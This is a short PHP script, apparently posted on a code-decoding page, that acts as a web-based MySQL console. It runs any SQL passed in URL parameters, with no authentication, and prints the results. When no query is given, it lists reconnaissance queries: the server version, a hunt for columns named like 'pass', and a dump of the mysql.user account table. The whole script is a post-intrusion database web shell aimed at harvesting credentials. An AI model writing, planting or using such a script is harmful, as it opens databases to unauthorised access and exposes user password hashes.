PHP Decode

<pre> 
Connect to mysql database using ext/mysql (PHP < 5.5): 
Args: 
  - host (localhost) 
  - port (3306) 
  - user  
  - pass 
  - db: schema name 
  - sql 
<?php 
  /* 
    Useful commands 
  */ 
  if( empty( $_GET["sql"] ) ){ 
    echo "SELECT @@version
"; 
    echo "SELECT * FROM information_schema.columns where column_name like '%pass%'
"; 
    echo "SHOW TABLES
"; 
    echo "SELECT * FROM mysql.user
"; 
    exit; 
  } 
  if( empty( $_GET["host"] ) ) $_GET["host"] = 'localhost'; 
  $conn = mysql_connect( $_GET["host"], $_GET["user"], $_GET["pass"] ); 
  if( !$conn ) die("Failed to connect to ".$_GET["host"] ); 
  mysql_select_db( $_GET["db"] ); 
  $rlt = mysql_query( $_GET["sql"], $conn ); 
  echo "Info: ".mysql_info()."
"; 
  echo "Error: ".mysql_error()."
"; 
  echo "Rows: ".mysql_num_rows( $rlt )."
"; 
  echo "Affected rows: ".mysql_affected_rows( $conn )."
"; 
  echo "Results:
"; 
  $count = 0; 
  while( $row = mysql_fetch_assoc( $rlt ) ){ 
    if( $count == 0 ){ 
      echo "<table><tr>"; 
      foreach( $row as $k => $v ){ 
        echo "<th>$k</th>"; 
      } 
      echo "</tr>
"; 
    } 
    echo "<tr>"; 
    foreach( $row as $k => $v ){ 
      echo "<td>".htmlentities($v)."</td>"; 
    } 
    echo "</tr>
"; 
    $count++; 
  } 
  echo "</table>"; 
?> 
</pre>